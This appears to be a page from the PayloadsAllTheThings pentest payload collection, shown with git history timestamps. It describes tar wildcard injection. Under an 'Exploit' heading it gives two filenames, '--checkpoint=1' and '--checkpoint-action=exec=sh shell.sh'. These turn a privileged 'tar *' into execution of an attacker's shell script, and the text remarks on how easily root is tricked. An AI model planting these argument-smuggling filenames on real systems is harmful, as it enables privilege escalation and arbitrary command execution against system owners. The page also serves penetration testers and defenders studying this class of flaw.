PayloadsAllTheThings/Tar commands execution/README.md

19 lines
915 B
Markdown
Raw Normal View History

2016-10-18 11:36:18 +00:00
# TAR Command Execution
2018-08-12 21:30:22 +00:00
By using tar with checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and thats where the wildcard comes in handy.
2016-10-18 08:01:56 +00:00
2016-10-18 11:36:18 +00:00
## Exploit
2016-10-18 08:01:56 +00:00
2016-10-18 11:36:18 +00:00
These files work against a "tar *"
2018-08-12 21:30:22 +00:00
```powershell
2016-10-18 11:36:18 +00:00
--checkpoint=1
--checkpoint-action=exec=sh shell.sh
shell.sh (your exploit code is here)
2016-10-18 08:01:56 +00:00
```
## Thanks to
2018-08-12 21:30:22 +00:00
* [Exploiting wildcards on Linux - Berislav Kucan](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
* [Code Execution With Tar Command - p4pentest](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/)
* [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)